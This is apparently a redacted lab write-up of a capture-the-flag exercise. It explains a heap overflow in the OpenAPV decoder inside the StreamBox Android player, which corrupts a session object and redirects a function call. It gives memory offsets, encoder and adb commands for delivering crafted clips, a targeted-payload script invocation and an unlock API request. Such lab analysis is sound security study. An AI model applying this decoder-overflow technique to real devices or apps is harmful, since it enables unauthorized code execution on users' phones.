关于 CVE-2026-28618 / StreamBox APV 实验环境的脱敏笔记——通过 FRAME 高度不匹配向会话对象进行堆写入
StreamBox 中的 CVE-2026-28618 —— 与 CVE-2026-0006 相同的 OpenAPV 解码器类,被转化为针对会话对象的堆写入。
本仓库是一份公开的、经过脱敏的漏洞分析报告:flag、实例令牌和 HMAC 密钥均已省略。APK 和 make_clip.py 归 Mobile Hacking Lab 所有;此处不提供镜像。

StreamBox 是一个小型 APV 播放器。APV 即 Advanced Professional Video(RFC 9924),是三星的免版税编解码器,与 Android 媒体栈中搭载的属于同一家族。该实验的设定只有一句话:播放器在收到共享片段时即自动播放。
SEND、VIEW 或 streambox://play?url=… 会将文件复制到 files/incoming.apv,并运行 NativeDec.loadClip()。
该漏洞是 CVE-2026-28618:OpenAPV 的 dec_frm_prepare 中存在堆缓冲区溢出。与 CVE-2026-0006 属于同一解码器类。
该实验将这一写入包装成一个游戏。溢出硬编码的 64×64 Y 平面,破坏相邻的会话对象,将析构重定向到 handlers[2],随后 Worker 便交回 flag。
工具包是来自该实验的两个 zip 文件:
streambox-lab.apk.zip —— 播放器make_clip.py.zip —— 64×64 库片段是如何构建的,以及你用来溢出的比特流Android Studio 的 ARM64 系统镜像 QEMU 在 x86-64 主机上并不合适。此 APK 为 arm64-v8a / minSdk 34。带有 libndk_translation.so(abilist=x86_64,arm64-v8a)的 x86_64 API 34 AVD 可以安装并运行它。


PlayerActivity 执行:
NativeDec.setVideoTitle(name);
status = NativeDec.loadClip(path); // win() runs here if handler==2
// WebView later: Android.openTier(status) → PremiumActivity
loadClip 返回 1(premium / session smash)或 2(win() 已执行)。openTier 仅用于导航 UI。
POST /api/unlock
{
"instance_id": <from POST /api/instance>,
"tier": 3,
"session_hex": hex(sessionProof[64]),
"ticket": HMAC-SHA256(ticketKey, instance_id + ":" + session_hex)
}
启动时,应用已经执行了 POST /api/instance 和 NativeDec.setPlatinumToken(token)。溢出需要写入会话的正是这个 token。

arena = calloc(1, 0x206040);
session = arena + pad + 0x2000;
*(uint64_t *)session = 0x53545245414D424F; /* bytes: "OBMAERTS" */
oapv_imgb_t 被硬编码为 64×64、10 位 YUV。平面 0(Y)从 arena+0 开始。64 × 64 × 2 = 0x2000。会话位于 arena + 0x2000 + pad。pad 为 SB_SESS_PAD,或为 srand(getpid()^time()) 之后 rand() 的 0x400 对齐半字节。在 AVD 上,Sunset Drive 记录到 session-arena = 0x3800(pad = 0x1800)。额外的 64×128 瓦片为 0x2000 字节,因此对于这些 pad 值,它仍能到达会话。
oapvd_decode() 按 FRAME PBU 的宽度/高度写入。高于 64 的 FRAME 会将 10 位样本直接写入 session。
解码之后:
if (session->token == g_token) { /* +0x08 */
if (session->handler <= 2) /* +0x0c */
g_handlers[session->handler](); /* [2] == win() */
} else if (session->token != 0) {
g_premium = 1;
}
memcpy(g_session_proof, session, 64);
return g_platinum ? 2 : g_premium ? 1 : 0;

该实验的生成器绘制 32 帧 64×64 RGB 图像,转换为 yuv422p10le,并调用 OpenAPV 参考编码器:
oapv_app_enc -i anim.yuv -w 64 -h 64 -z 8 --input-csp 2 -d 10 -o out.apv -v 1
每个捆绑的片段都是 32 个 64×64 帧的访问单元:
[u32be au_size] ['aPv1' + PBUs] × 32
播放器分配 64×64。APV 瓦片为 64×64。
qemu-user(qemu-aarch64 + Android 10 linker64)与 AVD 结果一致:
| 片段 | qemu-user streambox_load | AVD loadClip |
|---|---|---|
| 64×64 库片段 | 0 | 0(premium_hit=0) |
| 头部高度 64→72 | SIGABRT oapvd_vlc_ac_coef | SIGABRT,相同断言,进程终止(崩溃后主界面) |
| 真实 64×128 编码(两个瓦片,QP 0) | 1 | 1 premium_hit=1 → SESSION ANOMALY |
python3 encode_overflow.py -o overflow_64x128.apv --qp 0
adb reverse tcp:8765 tcp:8765
# python3 -m http.server 8765
adb shell am start -a android.intent.action.VIEW \
-d 'streambox://play?url=http://127.0.0.1:8765/overflow_64x128.apv' \
-n com.mobilehackinglab.streambox/.MainActivity

第二次编码,针对编码器重建进行闭环,植入实时 access token 和处理程序 2(输入 Y≈4 重建为 2)。将该 16 字节前缀在 64×128 的 Y 平面上重复,这样填充就不重要了。
# token from the home footer: "access token 0x...."
python3 encode_targeted.py --token 0xTOKEN --handler 2 -o win.apv
python3 -m http.server 8765
adb reverse tcp:8765 tcp:8765
adb shell am start -a android.intent.action.VIEW \
-d 'streambox://play?url=http://127.0.0.1:8765/win.apv' \
-n com.mobilehackinglab.streambox/.MainActivity
在 AVD 上:
gadget executed: handlers[2]() -> win()
loadClip(...) -> 2 (premium_hit=0 platinum_hit=1)
openTier(2)

win() 在 loadClip 内部执行。openTier(2) 只打开了 PremiumActivity,而它 POST 了该证明。
qemu-user 的配置(不是 Android Studio 的 ARM64 模拟器):参见 encode_overflow.py 中的注释以及实验环境 qemu-harness/README.md。
父类漏洞的相关公开 PoC:mobilehackinglab/CVE-2026-0006-openapv-poc。
Python urllib 会收到 Cloudflare 1010。使用移动端 UA 的 curl 可以正常工作。
Worker 会以 no overflow evidence: session magic intact 拒绝原始 magic。ASCII STREAMBO(与 LE uint64 的字节不同)会被视为一次写入。

# fill TICKET_KEY in scripts/unlock.py from NativeDec.ticketKey()
python3 scripts/unlock.py
状态 2 的 PremiumActivity 是会话被入侵时的 UI。状态 1 是 SESSION ANOMALY(上方为设备截图)。screenshots/06-session-compromised.png 中的金色“SESSION COMPROMISED”边框是该 UI 的 HTML 示意图,并非 AVD 截图。
dec_frm_prepare 中的尺寸校验本文为 Mobile Hacking Lab 的 StreamBox 练习所编写的授权实验笔记。不包含 APK、不包含有效令牌、不包含 flag。请勿将这些原语用于任何你未拥有或未获授权测试的目标。